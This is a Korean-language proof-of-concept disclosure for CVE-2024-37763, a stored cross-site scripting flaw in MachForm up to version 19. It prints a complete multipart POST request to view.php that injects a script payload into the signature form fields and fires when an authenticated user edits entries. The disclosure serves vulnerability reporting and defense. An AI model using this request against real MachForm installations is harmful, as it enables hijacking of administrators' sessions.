
MachForm 최대 v19에서의 인증되지 않은 저장형 XSS인 CVE-2024-37763에 대한 개념 증명 익스플로잇으로, view.php의 취약한 매개변수를 통한 페이로드 주입을 시연합니다.
MachForm 버전 19까지는 인증되지 않은 저장형 크로스 사이트 스크립팅(XSS)의 영향을 받으며, 이는 컴파일된 양식 결과를 볼 수 있는 유효한 세션을 가진 사용자에게 영향을 미칩니다.
대상 웹 애플리케이션에서 텍스트 서명이 활성화된 양식을 사용할 때, 취약한 리소스에 대한 요청이 XSS 공격에 취약한 것으로 확인되었습니다. 취약한 URL 내 POST 요청 본문의 매개변수는 위생 처리가 부족하여, 악성 페이로드가 삽입되고 피해자 브라우저에서 JavaScript 코드가 실행될 수 있습니다.
취약한 매개변수는 양식 내에서 텍스트 서명 구성 요소가 배치된 위치에 따라 동적입니다.
element_{element_number}_text_signatureelement_{element_number}취약한 매개변수에 JavaScript 페이로드를 주입할 수 있습니다.

요청:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
그러면 인증된 사용자가 양식 결과 항목을 편집할 때 페이로드가 트리거됩니다.

